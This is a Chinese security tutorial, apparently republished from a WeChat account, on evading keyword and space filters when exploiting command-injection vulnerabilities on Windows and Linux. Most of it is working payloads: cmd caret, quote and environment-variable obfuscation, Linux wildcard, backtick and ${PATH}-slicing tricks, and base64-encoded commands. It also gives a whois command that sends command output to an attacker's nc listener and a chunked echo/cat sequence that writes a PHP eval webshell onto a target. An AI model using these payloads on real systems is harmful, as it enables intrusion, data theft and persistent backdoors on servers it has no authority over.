本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
高质量的安全文章,安全 offer 面试经验分享
尽在 # 掌控安全 EDU #
作者:掌控安全 - urfyyyy
今天和各位一起发散一下思维,聊聊关于命令执行漏洞绕过过滤的方法,让我们一起由浅入深。
在看一个例子开始之前,首先了解一点,”和 ^ 这还有成对的圆括号 () 符号并不会影响命令的执行。
在 windows 环境下,命令可以不区分大小写
正常执行
wh""o^a^mi //正常执行
wh""o^am"i //正常执行
((((Wh^o^am""i))))//正常执行
当然你可以加无数个” 但不能同时连续加 2 个 ^ 符号,因为 ^ 号是 cmd 中的转义符,跟在他后面的符号会被转义
w"""""""""""""hoami //正常执行
w"""""""""""""hoa^m""i //正常执行
w"""""""""""""hoa^^m""i //执行错误
如果在命令执行的时候遇到了拦截命令的关键字,那么就可以使用这种方式绕过啦。
我们再了解一下 cmd 中的 set 命令和 % 符号的含义
首先 set 命令可以用来设置一个变量 (环境变量也是变量哦~),那么 % 符号如下图
set a=1//设置变量a,值为1
echo a //此时输出结果为"a"
echo %a%//此时输出结果为"1"
可以明显的看出,用两个 % 括起来的变量,会引用其变量内的值。
那也就是说:
set a=whoami //设置变量a的值为whoami
%a%//引用变量a的值,直接执行了whoami命令
这样就可以执行命令了,又或者还可以
set a=who
set b=ami
%a%%b%//正常执行whoami
set a=w""ho
set b=a^mi
%a%%b%//根据前一知识点进行组合,正常执行whoami
set a=ser&&set b=ne&&set c=t u && call %b%%c%%a%
//在变量中设置空格,最后调用变量来执行命令
通常我们也可以自定义一个或者多个环境变量,利用环境变量值中的字符,提取并拼接出最终想要的 cmd 命令。
如:
Cmd /C "set envar=net user && call echo %envar%"
可以拼接出 cmd 命令:net user
也可以定义多个环境变量进行拼接命令串,提高静态分析的复杂度:
cmd /c "set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%"
cmd 命令的 “/C” 参数,Cmd /C “string” 表示:执行字符串 string 指定的命令,然后终止。
而启用延迟的环境变量扩展,经常使用 cmd.exe 的 /V:ON 参数,
/V:ON 参数启用时,可以不使用 call 命令来扩展变量,使用 %var% 或 !var! 来扩展变量,
!var! 可以用来代替 %var%,也就是可以使用感叹号字符来替代运行时的环境变量值。
后面介绍 For 循环时会需要开启 /V: 参数延迟变量扩展方式。
再进阶一下,命令行有没有类似 php 或者 python 之类的语言中的截取字符串的用法呢,当然也是有的。
还拿刚才的 whoami 来举例
%a:~0%//取出a的值中的所有字符
此时正常执行whoami
%a:~0,6%//取出a的值,从第0个位置开始,取6个值
此时因为whoami总共就6个字符,所以取出后正常执行whoami
%a:~0,5%//取5个值,whoam无此命令
%a:~0,4%//取4个值,whoa无此命令
% 变量名:~x,y%
即对变量从第 x 个元素开始提取,总共取 y 个字符。
当然也可以写 - x,-y,从后往前取
写作 -x,可取从后往前数第 x 位的字符开始,一直到字符的末尾
-y 来决定少取几个字符
首先 set 看一下目前有哪些变量可以给我们用呢
我自己电脑上的环境变量还是挺多的,那我几乎可以用这种方式执行任何命令,因为这些变量的值,几乎都有 26 个字母在了
从简单的开始,如果命令执行不允许空格,被过滤,那么可以
net%CommonProgramFiles:~10,1%user
CommonProgramFiles=C:\Program Files\Common Files
从 CommonProgramFiles 这个变量中截取,从第 10 个字符开始,截取后面一个字符,那这个空格就被截取到了 (也就是 Program 和 Files 中间的那个空格)
net user 正常执行,当然了,还可以配合符号一起使用
n^et%CommonProgramFiles:~10,1%us^er
d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%
//~10,1对应空格,~0,3对应"C:\"
set TJ=a bcde/$@\";fgphvlrequst?
//比如上面这段组合成一个php一句话不难吧?
看到这里,聪明的你应该已经学会如何使用这种方式来给网站目录里写个 webshell 了吧。
继续往下,相信所有人都知道,| 在 cmd 中,可以连接命令,且只会执行后面那条命令
whoami | ping www.baidu.com
ping www.baidu.com | wh""oam^i
//两条命令都只会执行后面的
而 || 符号的情况下,只有前面的命令失败,才会执行后面的语句
ping 127.0.0.1|| whoami //不执行whoami
ping xxx.|| whoami //执行whoami
而 & 符号,前面的命令可以成功也可以失败,都会执行后面的命令,
其实也可以说是只要有一条命令能执行就可以了,但 whoami 放在前面基本都会被检测
ping 127.0.0.1& whoami //执行whoami
ping xxx.& whoami //执行whoami
而 && 符号就必须两条命令都为真才可以了
ping www.baidu.com -n 1&& whoami //执行whoami
ping www && whoami //不执行whoami
For 循环经常被用来混淆处理 cmd 命令,使得 cmd 命令看起来复杂且难以检测。
最常用的 For 循环参数有 /L,/F 参数。
FOR 参数 %变量名 IN (相关文件或命令) DO 执行的命令
for /L %variable in (start,step,end) do command [command-parameters]
该命令表示以增量形式从开始到结束的一个数字序列。
使用迭代变量设置起始值 (start).
然后逐步执行一组范围的值,直到该值超过所设置的终止值 (end)。
/L 将通过对 start 与 end 进行比较来执行迭代变量。
如果 start 小于 end,就会执行该命令,否则命令解释程序退出此循环。
还可以使用负的 step 以递减数值的方式逐步执行此范围内的值。
例如,(1,1,5) 生成序列 1 2 3 4 5,
而 (5,-1,1) 则生成序列 (5 4 3 2 1)。
命令cmd /C "for /L %i in (1,1,5) do start cmd"
会执行打开 5 个 cmd 窗口。
/F 参数:是最强大的命令,用来处理文件和一些命令的输出结果。
FOR /F ["options"]%variable IN (file-set) DO command [command-parameters]
FOR /F ["options"]%variable IN ("string") DO command [command-parameters]
FOR /F ["options"]%variable IN ('command') DO command [command-parameters]
(file-set) 为文件名,for 会依次将 file-set 中的文件打开,并且在进行到下一个文件之前将每个文件读取到内存,按照每一行分成一个一个的元素,忽略空白行。
(“string”) 代表字符串,(‘command’) 代表命令。
假如文件 aa.txt 中有如下内容:
第 1 行第 1 列 第 1 行第 2 列
第 2 行第 1 列 第 2 行第 2 列
要想读出 aa.txt 中的内容,可以用for /F %i in (aa.txt) do echo %i
如果去掉 / F 参数则只会输出 aa.txt,并不会读取其中的内容。
先从括号执行,因为含有参数 / F, 所以 for 会先打开 aa.txt
然后读出 aa.txt 里面的所有内容,把它作为一个集合,并且以每一行作为一个元素。
由上图可见,并没有输出第二列的内容.
原因是如果没有指定"delims=符号列表"
这个开关
那么 for /F 语句会默认以空格键或 Tab 键作为分隔符。
For /F 是以行为单位来处理文本文件的,如果我们想把每一行再分解成更小的内容,就使用 delims 和 tokens 选项。
delims 用来告诉 for 每一行用什么作为分隔符,默认分隔符是空格和 Tab 键。
for /F "delims= " %i in (aa.txt) do echo %i
将 delims 设置为空格,是将每个元素以空格分割,默认只取分割之后的第一个元素。
如果我们想得到第二列数据,就要用到 tokens=2,来指定通过 delims 将每一行分成更小的元素时,要取出哪一个或哪几个元素:
for /F "tokens=2 delims= " %i in (aa.txt) do echo %i
这个时候有好奇的观众朋友就要问了,那对方服务器是 linux 的话怎么办呢?
道理也是相同的
a=who
b=ami
$a$b
只不过 windows 的 cmd 下取变量值需要用两个 %,linux 下需要用 $
那么我们又可以怎么组合呢,接着来看
Linux 下用分号表示命令结束后执行后面的命令,无论前面的命令是否成功
ping www.; whoami
echo tj ; whoami
符号 | 在 linux 中,可以连接命令,和 win 一样,也只会执行后面那条命令
其他符号如 || 、& 、&& 和 windows 都是一样,不再过多赘述
那么让我们根据以上两点进行一个结合
t=l; j=s; i=" -al"; $t$j$i
看图好了
自己服务器中:nc -lvvp 端口
payload发送给对方:whois -h ip -p 端口`命令`//``为反引号
//下图以自身服务器的1234端口作演示,实际情况根据个人更改
使用 whois 来执行命令和传输文件
在实际的攻击场景中,可以在自己的攻击服务器上用 nc 监听一个公网端口,然后在存在命令执行漏洞的网站中发送 payload 请求,
对它使用 whois 命令使其命令执行结果返回给 nc 监听的端口,从而在自己服务器中查看
继续说回来,刚才我说了,windows 下双引号和幂运算符号都不会影响命令的执行,linux 也同理,如下图
wh\oami
wh$1oami
who$@ami
whoa$*mi
在绕过时,不管是 windows 还是 linux,都可以自写 fuzz 脚本来进行测试
在 linux 中? 扮演的角色是匹配任意一个字符,用? 来绕过限制
which whoami //找到whoami路径
/u?r/?in/wh?am?
which ifconfig //找到ifconfig
/us?/sbin/if?onfig
同理可得,星号 * 在 linux 中用来代表一个或多个任何字符,包括空字符
/*/bin/wh*mi
/us*/*in/who*mi
/*s?/*?n/w?o*i
Linux 中,反引号的作用是把括起来的字符当做命令执行
666`whoami`666
666`\whoami`666
//命令执行后的结果在2个666中间
至于第二条命令为什么加个 \ 上面已经解释过了
我们再次组合起来
w`\saldkj2190`ho`\12wsa2`am`\foj11`i
wh$(70shuai)oa$(fengfeng)mi
linux 是否能像 windows 那样,使用环境变量里的字符执行变量呢,当然也是可以的。
我就喜欢把一个命令写的好长,让别人看不懂,这样就感觉很厉害的样子
首先 echo $PATH
Linux 下严格区分大小写,不可以写成 $path,但 windows 可以,细心的小伙伴可能发现前面 windows 下我写过 CommonProgramFiles,也写过 commonprogramfiles
接着我们来截取字符串,我懒得数
echo ${#PATH}
长度为 145-1=144
如果我现在要查看 / root / 目录下的 123.txt 文件,就可以像下图一样操作
cat ${PATH:136:6}123.txt
那么相信让你拼接成想要的命令都不难吧,至于怎么设置变量然后去引用,不过多赘述,
道理都是相同的,我找字符找的眼睛快瞎了
${PATH:91:1}h${PATH:139:1}a${PATH:103:1}${PATH:143:1}
在 linux 下我们还可以使用大花括号来绕过空格的限制,比如 ls -alt 命令中间的空格
{ls,-alt}
再比如 cat /etc/passwd 命令中间的空格
我们还可以使用 <> 来绕过空格。请仔细看执行后的效果。
linux 中,小于号 <表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而> 大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。
但可以用 > 来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里
ls<>alt
我们还可以在自己的 linux 系统中将命令进行 base64 编码
然后再拿去目标请求中命令执行, 使用 base64 的 - d 参数解码。
echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d`//将其base64解码
咱们再根据 base64 进行一次发散思维。
如果某处存在命令执行但是限制了长度,我们可以利用这种方式来写一个密码为 123 的 webshell 一句话木马。
echo "<?php @eval($_POST[123]);?>"| base64
//输出一句话的base64编码
echo -n PD>a;
echo -n 9w>b;
echo -n aH>c;
echo -n Ag>d;
echo -n QG>e;
echo -n V2>f;
echo -n YW>g;
echo -n wo>h;
echo -n JF>i;
echo -n 9Q>j;
echo -n T1>k;
echo -n NU>l;
echo -n Wz>m;
echo -n Ey>n;
echo -n M1>o;
echo -n 0p>p;
echo -n Oz>q;
echo -n 8+>r;
cat a b>s;
cat s c>b;
cat b d>s;
cat s e>a;
cat a f>s;
cat s g>a;
cat a h>s;
cat s i>a;
cat a j>s;
cat s k>a;
cat a l>s;
cat s m>a;
cat a n>s;
cat s o>a;
cat a p>s;
cat s q>a;
cat a r>s;
base64 -d s>z;
cp z tj.php;
大体思路就是用 echo 不断写入或者也可以用 >> 来追加写入,拼接成一个文件,最后 cp 或者 mv 成一个文件
echo -n 是令其后面不会加入自动换行,方便拼接。
逐步解释要写很多,建议有点懵的哥哥一句一句执行,然后依次查看结果
那在写 shell 的时候命令被过滤了怎么办呢,那就回到刚才的办法中尝试绕过啦
在实际绕过中,可以用多种方式来组合测试进行绕过,可以看出本篇多次使用各种组合来执行命令,主要是希望哥哥们多去尝试,发散思维
以 Emotet 为例深入分析 CMD 命令混淆技术 (http://x5c.net/bcirw)
模糊命令行检测 (http://x5c.net/bcir8)
回顾往期内容
扫码白嫖视频 + 工具 + 进群 + 靶场等资料
扫码白嫖**!**
还有免费的配套靶场、交流群哦!